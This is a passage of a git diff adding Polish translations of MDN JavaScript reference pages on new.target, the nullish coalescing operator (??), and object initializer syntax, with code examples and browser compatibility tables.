+ <td>{{Spec2('ES6')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.logical")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise operators</a></li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean">Boolean</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/new.target/index.html b/files/pl/web/javascript/referencje/operatory/new.target/index.html
new file mode 100644
index 0000000000..8b60074e92
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/new.target/index.html
@@ -0,0 +1,134 @@
+---
+title: new.target
+slug: Web/JavaScript/Referencje/Operatory/new.target
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p><strong><code>new.target</code></strong> pozwala sprawdzić czy konstruktor lub funkcja była zainicjalizowana używając operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>. Kiedy w konstruktorze lub funkcji zainicjalizowany jest operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>, <code>new.target</code> zwraca referencje do konstruktora lub funkcji. W normalnym wywołaniu funkcji, <code>new.target</code> jest {{jsxref("undefined")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>new.target</code> składa się ze słowa <code>"new</code>", kropki i pola o nazwie <code>"target"</code>. Przeważnie "<code>new."</code> jest kontekstem dostępu do pola, ale w tym przypadku "new." nie jest tak naprawdę obiektem. W wywołaniu konstruktora, <code>new.target</code> nawiązuje do konstruktora wywołanego przez <code>new</code> więc "<code>new.</code>" staje się wirtualnym kontekstem.</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Pole </font>new.target</code> jest meta polem które jest dostępne dla wszystkich funkcji. W <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, <code>new.target</code> nawiązuje do <code>new.target</code> otaczającej funkcji.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="new.target_w_wywołaniu_funkcji">new.target w wywołaniu funkcji</h3>
+
+<p>W normalnym wywołaniu funkcji (w przeciwieństwie do wywołania konstruktora), <code>new.target</code> jest {{jsxref("undefined")}}. Pozwala Ci to stwierdzić, czy funkcja została wywołana wraz z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a> jako konstruktor.</p>
+
+<pre class="brush: js">function Foo() {
+ if (!new.target) throw "Foo() must be called with new";
+ console.log("Foo instantiated with new");
+}
+
+Foo(); // throws "Foo() must be called with new"
+new Foo(); // logs "Foo instantiated with new"
+</pre>
+
+<h3 id="new.target_w_konstruktorze">new.target w konstruktorze</h3>
+
+<p>W konstruktorach klasy, <code>new.target</code> nawiązuje do konstruktora który został bezpośrednio wywołany z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>. Dzieje się tak również w przypadku kiedy konstruktor znajduje się w klasie rodzica, i został wywołany z konstruktorze dziecka.</p>
+
+<pre class="brush: js">class A {
+ constructor() {
+ console.log(new.target.name);
+ }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // logs "A"
+var b = new B(); // logs "B"
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(46.0)}}</td>
+ <td>{{CompatGeckoDesktop(41)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(46.0)}}</td>
+ <td>{{CompatGeckoMobile(41)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(46.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html b/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html
new file mode 100644
index 0000000000..c8a264e50e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html
@@ -0,0 +1,251 @@
+---
+title: Operator null'owego scalania (??)
+slug: Web/JavaScript/Referencje/Operatory/Nullish_coalescing_operator
+tags:
+ - JavaScript
+ - Language feature
+ - Operator
+ - Reference
+ - nullish coalescing
+translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+---
+<p>{{JSSidebar("Operators")}}</p>
+
+<p><strong>Operator null'owego scalania (<code>??</code>)</strong> - to operator logiczny, stosowany w wyrażeniach, który zwraca to co jest po jego lewej stronie, tak długo, jak to nie jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, wtedy zwraca to, co jest po prawej.</p>
+
+<div class="blockIndicator note">
+<p>Początkowo ewaluowane jest tylko wyrażenie z lewej strony.<br>
+ Dopiero, gdy zachodzi taka potrzeba, ewaluowane jest prawe wyrażenie.</p>
+</div>
+
+<p>Jest podobny do <strong>logicznego operatora LUB (<code>||</code>)</strong> ( <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR">Logical OR (||)</a> ), ale <strong>LUB</strong> decyduje o tym, czy wziąć prawą wartość, na innej podstawie:<br>
+ <em>Czy lewa wartość jest fałszopodobna</em> (<a href="/en-US/docs/Glossary/Falsy">Falsy</a>)<em>?</em><br>
+ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> i <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code> są fałszopodobne, ale sęk w tym, że nie tylko one, ale również np. <code>0</code>, czy <code>""</code>. Czasem nie chce się podmieniać niczego za <code>0</code> i <code>""</code>, uważając je za dopuszczalne wartości.<br>
+ Wtedy właśnie przydaje się ten operator.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.<br>
+ See <a href="https://github.com/mdn/interactive-examples/pull/1482#issuecomment-553841750">PR #1482</a> regarding the addition of this example.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><u>LWyr</u> ?? <u>PWyr</u></pre>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Pole</th>
+ <th scope="col">Opis</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>LWyr</td>
+ <td>Wyrażenie główne, ewaluowane na początku.<br>
+ Jeżeli jego wartość wynikowa jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, to nie ona zostanie zwrócona, ale wartość wynikowa wyrażenia <u>PWyr</u>. </td>
+ </tr>
+ <tr>
+ <td>PWyr</td>
+ <td>Wyrażenie zamienne, ewaluowane, kiedy wartość <u>LWyr</u> jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Przykłady"><span style="">Przykłady</span></h2>
+
+<h3 id="Użycie_operatora">Użycie operatora</h3>
+
+<p>W tym przykładzie użyjemy <strong>operatora null'owego scalania</strong> do podania zapasowych wartości, przy inicjowaniu stałych:</p>
+
+<pre class="brush: js notranslate">const wartoscNull = null;
+const warA = wartoscNull ?? "domyślne dla A";
+console.log(warA);
+
+// konsola: "domyślne dla A"
+
+
+
+const pustyTekst = ""; // fałszopodobny
+const warB = pustyTekst ?? "domyślne dla B";
+console.log(warB);
+
+// konsola: ""
+// ponieważ "??" reaguje tylko konkretnie na null albo undefined
+
+
+
+const jakasLiczba = 42;
+const warC = jakasLiczba ?? 0;
+console.log(warC);
+
+// konsola: 42</pre>
+
+<h3 id="Porównanie_działania_i">Porównanie działania "??" i "||"</h3>
+
+<p>Wcześniej przed pojawieniem się tego operatora, używano <strong>LUB (<code>||</code>) (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR">Logical OR (||)</a>)</strong>:</p>
+
+<pre class="notranslate">let liczba;
+let zabezpLicz = liczba || 1;
+// zmienna "wejscie" nie była nigdy zapełniona żadną wartością,
+// więc była "undefined", a undefined jest fałszopodobne, więc
+// JavaScript wziął zapasowe '1'.
+
+console.log(2 * zabezpLicz);
+// konsola: 2
+</pre>
+
+<p>To działa, ale...<br>
+ przez to jakim operatorem jest <strong>LUB</strong>, nie tylko <code>undefined</code> zostanie tu zamienione, ale też i <code>0</code>, które, w kontekście tego przykładu, powiedzmy, że jest wartością, która powinna być ok:</p>
+
+<pre class="brush: js notranslate">let liczba = 0;
+let zabezpLicz = liczba || 1;
+// zmienna "wejscie" została zapełniona zerem, ale jest fałszopodobne,
+//więc JavaScript wziął zapasowe '1'.
+
+console.log(2 * zabezpLicz);
+// konsola: 2
+// chcieliśmy: 0
+</pre>
+
+<p>Operator null'owego scalania rozwiązuje ten problem:</p>
+
+<pre class="brush: js notranslate">let liczba = 0;
+let zabezpLicz = liczba ?? 1;
+// zmienna "wejscie" została zapełniona zerem,
+//mimo tego, że jest fałszopodobne, "??" akceptuje je, bo to nie null, ani undefined, i
+//JavaScript zostawia '0'.
+
+console.log(2 * zabezpLicz);
+// konsola: 0
+</pre>
+
+<h3 id="Pomijanie_ewaluacji">Pomijanie ewaluacji</h3>
+
+<p>Podobnie jak inne operatory logiczne <strong>LUB (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR" style="">Logical OR (||)</a>)</strong> i <strong>I (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND">Logical AND (&amp;&amp;)</a>)</strong>, ten operator rozpoczyna od ewaluacji wyrażenia po lewej stronie, i dopiero gdy trzeba, zajmuje się prawą stroną:</p>
+
+<pre class="brush: js notranslate">function A(){
+  console.log("Tu A!");
+  return false;
+}
+function B(){
+  console.log("Tu B!");
+  return true;
+}
+
+if( A() ?? B() ) console.log("Otrzymano 'true'");
+else console.log("Otrzymano 'false'");
+// konsola: "Otrzymano 'false'"
+</pre>
+
+<p>i :</p>
+
+<pre class="brush: js notranslate">function A(){
+  console.log("Tu A!");
+  return null; // teraz tu jest zwracany null, na który reaguje "??"
+}
+function B(){
+  console.log("Tu B!");
+  return true;
+}
+
+if( A() ?? B() ) console.log("Otrzymano 'true'");
+else console.log("Otrzymano 'false'");
+// konsola: "Otrzymano 'true'"</pre>
+
+<h3 id="Nie_działa_seryjnie_ani_z_LUB_ani_z_I">Nie działa seryjnie, ani z LUB, ani z I</h3>
+
+<p>W wyrażeniach, nie można stawiać zwyczajnie <strong>operatora null'owego scalania</strong> w otoczeniu operatorów <strong>LUB</strong> i <strong>I</strong>, mimo ustalonej kolejności wykonywania działań. Będzie to odbierane jako błąd składniowy:</p>
+
+<pre class="brush: js example-bad notranslate">null || undefined ?? "yyy..."; // to będzie SyntaxError
+true || undefined ?? "aha."; // to też będzie SyntaxError
+//bo tu chodzi o to, że jest "||" i "??" razem, nie o wartości.
+</pre>
+
+<p>Trzeba je rozdzielić nawiasami:</p>
+
+<pre class="brush: js example-good notranslate">(null || undefined) ?? "yyy..."; // zwraca: "yyy..."
+null || (undefined ?? "działa!"); // zwraca: "działa!"
+</pre>
+
+<h3 id="Odniesienie_do_Operatora_opcjonalnego_dostępu_.">Odniesienie do Operatora opcjonalnego dostępu "?."</h3>
+
+<p>Sposób w który <strong>operator null'owego scalania</strong> pracuje z wartościami <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" style="">null</a></code> i <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, jest intuicyjny analogicznie u <strong>operatora opcjonalnego dostępu</strong> (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Optional chaining (?.)</a>, i razem pozwalają na ciekawe akcje, np.:</p>
+
+<pre class="notranslate">class objekt{
+  tekst;
+
+ constructor(tekst = null){
+ this.tekst = tekst;
+  }
+
+  odczytTekst(){
+ return this.tekst;
+ }
+  wpisTekst(w){
+ this.tekst = w;
+  return true;
+ }
+}
+
+let objekty = [new objekt("cześć!"), null, new objekt()];
+
+
+
+// zadanie kodu: zamień tekst'y w objekt'ach na duże litery,
+// używając funkcji dostępu, a pozostawiając puste wartości
+// bez zmian
+
+
+// wersja typeof
+for(let i = 0; i &lt; objekty.length; i++)
+  if(typeof(objekty[i]) == "object")
+  if(typeof(objekty[i].odczytTekst()) == "string")
+  objekty[i].wpisTekst(objekty[i].odczytTekst().toUpperCase());
+
+
+// wersja operatorów "??" i "?."
+for(let i = 0; i &lt; objekty.length; i++)
+  objekty[i]?.wpisTekst(objekty[i]?.odczytTekst()?.toUpperCase() ?? null);
+
+console.log(objekty);
+</pre>
+
+<p>Czasami użycie tych operatorów upraszcza kod.<br>
+ Poza tym każda funkcja jest wywoływana najwyżej raz i może to być co kolwiek.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.nullish_coalescing")}}</p>
+
+<h3 id="Postępy_implementacji">Postępy implementacji</h3>
+
+<p>Tabelka pod spodem pokazuje codzienny status implementacji tej funkcji. Jest tak, ponieważ nie osiągnięto jeszcze stabilności między przeglądarkami.<br>
+ Dane są generowane, poprzez przeprowadzanie odpowiednich testów funkcji w <a href="https://github.com/tc39/test262" style="">Test262</a>, standardowym zestawie testów dla JavaScripta, na najnowszych kompilacjach (en: "nightly build"), lub najnowszych wydaniach (en: "latest release") silników JavaScripta przeglądarek.</p>
+
+<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div>
+
+<h2 id="Zobacz_też...">Zobacz też...</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">The optional chaining operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">The logical OR (<code>||</code>) operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters in functions</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/object_initializer/index.html b/files/pl/web/javascript/referencje/operatory/object_initializer/index.html
new file mode 100644
index 0000000000..4148cc07d1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/object_initializer/index.html
@@ -0,0 +1,387 @@
+---
+title: Inicjalizator obiektu
+slug: Web/JavaScript/Referencje/Operatory/Object_initializer
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Operators")}}</div>
+
+<p>Obiekty można tworzyć używając <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code>, bądź wykorzystując notację literałową (notację <em>inicializacyjną</em>). Inicjalizator obiektu to lista zera lub więcej par - nazw właściwości oraz ich wartości - otoczonych nawiasami klamrowymi (<code>{}</code>).</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">var o = {};
+var o = { a: "foo", b: 42, c: {} };
+
+var a = "foo", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o =
+{
+  <var>wlasciwosc: function </var>([<var>parametry</var>]) {},
+  get <var>wlasciwosc</var>() {},
+  set <var>wlasciwosc</var>(<var>wartosc</var>) {},
+};
+</pre>
+
+<h3 id="Nowe_notacje_w_ECMAScript_2015">Nowe notacje w ECMAScript 2015</h3>
+
+<p>Pamiętaj aby zapoznać się z tabelą kompatybilności. Środowiska nie obsługujące tych notacji będą wyrzucać błędy składni.</p>
+
+<pre class="brush: js">// Skrótowe nazwy właściwości (ES6)
+var a = "foo", b = 42, c = {};
+var o = { a, b, c };
+
+// Skrótowe nazwy metod (ES6)
+var o = {
+ <var>wlasciwosc</var>([<var>parametry</var>]) {},
+ get <var>wlasciwosc</var>() {},
+ set <var>wlasciwosc</var>(<var>wartosc</var>) {},
+ * <var>generator</var>() {}
+};
+
+// Obliczone nazwy właściwości (ES6)
+var nazwa = "foo";
+var o = {
+ [nazwa]: "dzien",
+ ["b" + "ar"]: "dobry",
+};</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Inicjalizator obiektu to wyrażenie opisujące inicjalizację obiektu {{jsxref("Object")}}. Obiekty składają się z <em>właściwości</em> używanych do opisywania obiektu. Wartości tych właściwości mogą zawierać {{Glossary("primitive")}} typy danych albo inne obiekty.</p>
+
+<h3 id="Tworzenie_obiektów">Tworzenie obiektów</h3>
+
+<p>Pusty obiekt możemy stworzyć w taki sposób:</p>
+
+<pre class="brush: js">var obiekt = {};</pre>
+
+<p>Jednak prawdziwą przewagą notacji literałowej jest możliwość tworzenia w szybki sposób obiektów ze zdefiniowanymi od razu właściwościami. Wystarczy wypisać listę kluczy: wartości odzdzielonych dwukropkiem. Poniższy przykład tworzy obiekt <code>osoba</code> z trzema właściwościami: "<code>imie</code>", "<code>wiek</code>" i "<code>wyglad</code>". Ich wartościami jest string "<code>Adam</code>", numer <code>42</code> oraz inny obiekt.</p>
+
+<pre class="brush: js">var osoba =
+{
+ imie: "Adam",
+ wiek: 42,
+ wyglad: { wzrost: 179 },
+}</pre>
+
+<h3 id="Dostęp_do_właściwości">Dostęp do właściwości</h3>
+
+<p>Kiedy już stworzyłeś obiekt, możesz chcieć zobaczyć lub zmienić jego właściwości. Można zrobić to używając zapisu z kropką lub nawiasami. Zajrzyj do <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_pamięci">operatorów pamięci</a> po więcej informacji.</p>
+
+<pre class="brush: js">object.imie; // "Adam"
+object["wiek"]; // 42
+
+object.imie = "Ewa";
+</pre>
+
+<h3 id="Definiowanie_właściwości">Definiowanie właściwości</h3>
+
+<p>Nauczyliśmy się już jak zapisywać właściwości używając notacji literałowej. Czasami jednak mamy w kodzie zmienne, które chcielibyśmy dodać do naszego obiektu. Możemy to zrobić w taki sposób:</p>
+
+<pre class="brush: js">var a = "foo",
+ b = 42,
+ c = {};
+
+var o =
+{
+ a: a,
+ b: b,
+ c: c
+};</pre>
+
+<p>Ale ECMAScript 2015 oddaje nam do dyspozycji krótszy zapis, pozwalający uzyskać ten sam efekt:</p>
+
+<pre class="brush: js">var a = "foo",
+ b = 42,
+ c = {};
+
+// Skrótowe nazwy właściwości (ES6)
+var o = { a, b, c };</pre>
+
+<h4 id="Duplikowanie_nazw_właściwości">Duplikowanie nazw właściwości</h4>
+
+<p>W momencie, gdy użyjemy już istniejącej nazwy właściwości jej wartość nadpisze tę poprzednią.</p>
+
+<pre class="brush: js">var a = {x: 1, x: 2};
+console.log(a); // { x: 2}
+</pre>
+
+<p>W ECMAScript 5 <em>strict mode,</em> duplikowanie nazw właściwości było postrzegane jako {{jsxref("SyntaxError")}}. Zmieniono to jednak po wprowadzeniu obliczanych nazw właściwości. Duplikacja stała się wówczas możliwa podczas wykonywania kodu, dlatego też w ECMAScript 2015 usunięto tę rystrykcję.</p>
+
+<pre class="brush: js">function czyES6UmozliwiaDuplikowanieWlasciwosci()
+{
+ "use strict";
+ try
+ {
+ ({ prop: 1, prop: 2 });
+
+ // Nie wyrzucono błędu, duplikacja dozwolona w <em>strict mode</em>.
+ return true;
+ }
+  catch (e)
+  {
+ // Wyrzucono błąd, duplikacja w <em>strict mode</em> zabroniona.
+ return false;
+ }
+}</pre>
+
+<h3 id="Definicje_metod">Definicje metod</h3>
+
+<p>Właściwość obiektu może również odnosić się do <a href="pl/docs/Web/JavaScript/Reference/Functions">funkcji</a> albo metody <a href="/pl/docs/Web/JavaScript/Reference/Functions/get">getter</a> lub <a href="/pl/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</p>
+
+<pre class="brush: js">var o = {
+ <var>wlasciwos: function </var>([<var>parametry</var>]) {},
+ get <var>wlasciwos</var>() {},
+ set <var>wlasciwos</var>(<var>wartosc</var>) {},
+};</pre>
+
+<p>w ECMAScript 2015, mamy dostęp do skróconego zapisu, takiego w którym słowo kluczowe "function" nie jest nam już potrzebne.</p>
+
+<pre class="brush: js">// Shorthand method names (ES6)
+var o = {
+ <var>property</var>([<var>parameters</var>]) {},
+ get <var>property</var>() {},
+ set <var>property</var>(<var>value</var>) {},
+ * <var>generator</var>() {}
+};</pre>
+
+<p>W ECMAScript 2015 możemy również w prostszy sposób zapisać właściwość będącą funkcją generatora:</p>
+
+<pre class="brush: js">var o = {
+ * <var>generator</var>() {
+ ...........
+ }
+};</pre>
+
+<p>W ECMAScript 5 musielibyśmy zapisać to tak (aczkolwiek pamiętaj że w ES5 nie ma generatorów):</p>
+
+<pre class="brush: js">var o = {
+ generator<var>: function *</var>() {
+ ...........
+ }
+};</pre>
+
+<p>Po więcej informacji zajrzyj do <a href="/pl/docs/Web/JavaScript/Reference/Functions/Method_definitions">definicji metod</a>.</p>
+
+<h3 id="Obliczone_nazwy_właściwości">Obliczone nazwy właściwości</h3>
+
+<p>Od ECMAScript 2015, składnia inicjalizatora obiektu wspiera także obliczone nazwy właściwości. Umożliwia to umieszczenie wyrażenia w nawiasach <code>[]</code>, które potem zostanie przeliczone na nazwę właściwości. Działa to na tej samej zasadzie co zapis klamrowy w <a href="/pl/docs/Web/JavaScript/Reference/Operators/Property_Accessors">operatorach pamięci</a>, z którymi zapewne miałeś już styczność. Teraz możemy użwać tej samej składni w notacji literałowej:</p>
+
+<pre class="brush: js">// Obliczone nazwy właściwości (ES6)
+var i = 0;
+var a = {
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'typ';
+var info = {
+ [param]: 'strona',
+ ["pod" + param.charAt(0).toUpperCase() + param.slice(1)]: 'forum'
+};
+
+console.log(info); // { typ: 'strona', 'podTyp': 'forum' }</pre>
+
+<h3 id="Zmiana_prototypu">Zmiana prototypu</h3>
+
+<p>Definicja właściwości w formie <code>__proto__: wartosc</code> albo <code>"__proto__": wartosc</code> nie stworzy właściwości z nazwą <code>__proto__</code>. Zamiast tego, jeżeli podana wartość jest obiektem lub typem <code>null</code>, zamieni ona <code>[[Prototype]]</code> tworzonego obiektu na podaną wartość. (Jeżeli wartość nie jest ani obiektem ani typem <code>null</code> prototyp nie zostanie zmieniony.)</p>
+
+<pre class="brush: js">var obj1 = {};
+console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
+
+var obj2 = { __proto__: null };
+console.log(Object.getPrototypeOf(obj2) === null); // true
+
+var protoObj = {};
+var obj3 = { "__proto__": protoObj };
+console.log(Object.getPrototypeOf(obj3) === protoObj); // true
+
+var obj4 = { __proto__: "not an object or null" };
+console.log(Object.getPrototypeOf(obj4) === Object.prototype); // true
+console.log(!obj4.hasOwnProperty("__proto__")); // true
+</pre>
+
+<p>Podczas notacji literałowej możemy zmienić prototyp tylko raz, kolejne próby będą skutkować błędami składni.</p>
+
+<p>Jeżeli użyjemy w defninicji nazwy <code>__proto__</code> bez używania składni z dwukropkiem, nazwa ta będzie się zachowywać jak kazda inna.</p>
+
+<pre class="brush: js">var __proto__ = "wartosc";
+
+var obj1 = { __proto__ };
+console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
+console.log(obj1.hasOwnProperty("__proto__")); // true
+console.log(obj1.__proto__ === "wartosc"); // true
+
+var obj2 = { __proto__() { return "witaj"; } };
+console.log(obj2.__proto__() === "witaj"); // true
+
+var obj3 = { ["__prot" + "o__"]: 17 };
+console.log(obj3.__proto__ === 17); // true
+</pre>
+
+<h2 id="Notacja_literałowa_vs_JSON">Notacja literałowa vs JSON</h2>
+
+<p>Notacja literałowa to nie to samo co <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/pl/docs/Glossary/JSON">JSON</a>). Pomimo, że wyglądają podobnie, są miedzy nimi poważne różnice:</p>
+
+<ul>
+ <li>JSON dopuszcza tylko składnie <code>"wlasnosc": wartosc</code>.  Nazwa własności musi być w cudzysłowie, a defnicja nie może być skrócona.</li>
+ <li>W JSON wartościami moga być tylko string'i, liczby, tablice, <code>true</code>, <code>false</code>, <code>null</code>, lub inny obiekt JSON.</li>
+ <li>Funkcja nie może być przypisana do wartości w JSON.</li>
+ <li>Obiekty jak {{jsxref("Date")}} zostaną zamienione na string po użyciu {{jsxref("JSON.parse()")}}.</li>
+ <li>{{jsxref("JSON.parse()")}} odrzuni obliczone nazwy zmiennych oraz wyrzuci błąd.</li>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Dodano metody <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> oraz <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object-initializer', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Skrócone nazwy właściwości/metod oraz obliczone nazwy właściwości.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(1.0)}}</td>
